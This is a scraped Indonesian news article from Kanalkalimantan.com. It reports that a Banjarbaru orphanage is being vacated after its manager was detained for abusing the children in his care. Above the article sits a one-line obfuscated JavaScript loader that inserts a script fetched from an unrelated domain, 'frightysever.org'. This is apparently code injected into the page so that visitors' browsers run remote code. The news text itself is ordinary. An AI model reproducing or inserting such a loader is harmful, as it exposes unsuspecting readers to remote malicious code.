(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Panti Asuhan Griya Yatim Dhuafa di Jalan Pangeran Suriansyah Ujung, Kelurahan Mentaos, Kecamatan Banjarbaru Utara, Kota Banjarbaru, mulai memindahkan barang-barangnya.
Pemindahan ini menyusul ilegalnya keberadaan panti asuhan ini dan pengelola panti asuhan. Dimana mereka juga kedapatan melakukan penganiayaan terhadap anak asuhnya.
Disamping itu, Kelurahan Mentaos memberikan tenggat waktu hingga Senin (16/1/2023) untuk pihak pengelola panti asuhan mengosongkan tempatnya.
Di depan panti itu masih membentang garis peringatan, yang dipasang oleh personel Satpol PP Banjarbaru beberapa hari lalu.
Baca juga : Polisi Tetapkan Tersangka Penganiaya Anak Yatim di Mentaos Banjarbaru
Anak sulung pengelola panti, A (20) mengaku sudah merapikan barang-barang itu sejak Kamis (12/1/2023) malam. Selanjutnya akan mereka bawa ke satu rumah kontrakan, yang ada di Jalan Trikora Banjarbaru.
Rumah kontrakan di Jalan Trikora itu ujarnya merupakan tempat tinggal teman orangtuanya.
“Ke rumah teman bapak di Jalan Trikora, sementara dibawa ke sana dulu,” katanya, Minggu (15/1/2023).
Dikatakannya, setelah rumah tersebut disegel, mereka perlahan mengemasi barang-barangnya, yang mana hingga hari Minggu ini sudah banyak barangnya yang dipindahkan.
Disebutkannya juga bahwa, rumah yang dijadikan panti asuhan ini merupakan rumah yang disewa dari seseorang hingga bulan Mei 2023 mendatang.
Baca juga : Pakai Knalpot Brong, Belasan Kendaran Diseret ke Mako Polsek Banjarbaru Utara
“Sudah dibayar kontrakan ini sampai Mei, tapi karena ada desakan dari pihak lain maka kami pindakan barang-barang,” jelasnya.
Sebelumnya pengelola panti asuhan Griya Yatim Dhuafa dilaporkan ke pihak berwajib karena dugaan penganiayaan terhadap anak asuh, yang kemudian ditindaklanjuti dengan penutupan permanen terhadap panti asuhan ini oleh pihak kelurahan dan Satpol PP Banjarbaru.
Sedangkan untuk pengelola panti asuhan pasangan suami istri (Pasutri) SJ dan ET diamankan ke Mako Polres Banjarbaru guna penyidikan lebih lanjut. Kemudian, SJ sebagai bapak asuh anak yatim ini terbukti melakukan penganiyaan dengan dalih pembinaan. Namun, dengan cara berlebihan dan sekarang SJ sudah berada di Rutan Polres Banjarbaru.
“Ibu sekarang ada di rumah teman bapak, kondisinya Alhamdulillah sehat,” tuntasnya.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.